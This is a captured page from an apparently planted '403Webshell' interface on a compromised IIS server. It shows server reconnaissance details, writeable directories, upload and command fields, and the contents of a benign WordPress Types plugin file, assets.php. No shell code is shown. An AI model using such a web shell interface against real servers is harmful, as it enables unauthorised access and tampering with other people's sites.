403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/robotics/wp-content/plugins/types/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/robotics/wp-content/plugins/types/application/controllers/assets.php
<?php

/**
 * Types assets manager.
 * 
 * All assets (like images and other files) should be defined here, referenced only by constants and their paths/URLs
 * retrieved only with methods of this class. 
 * 
 * That will make their management way easier when some paths or filenames need to be changed.
 * 
 * @since 2.0
 */
final class Types_Assets {
	
	// Constants with image paths relative to public/images.
	const IMG_AJAX_LOADER_OVERLAY = '/ajax-loader-overlay.gif';


	private static $instance;

	public static function get_instance() {
		if( null == self::$instance ) {
			self::$instance = new self();
		}
		return self::$instance;
	}


	/**
	 * Initialize the asset manager for script and styles. 
	 * 
	 * Must be called early, before init, else special measures are needed.
	 * 
	 * @since 2.0
	 */
	public function initialize_scripts_and_styles() {
		Types_Asset_Manager::get_instance();
	}
	

	private function __clone() { }

	private function __construct() { }


	/**
	 * For given image, return it's relative URL.
	 * 
	 * @param string $image Image defined as a constant of Types_Assets.
	 * @return string Relative URL of the image.
	 * @since 2.0
	 */
	public function get_image_url( $image ) {
		return TYPES_RELPATH . '/public/images' . $image;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit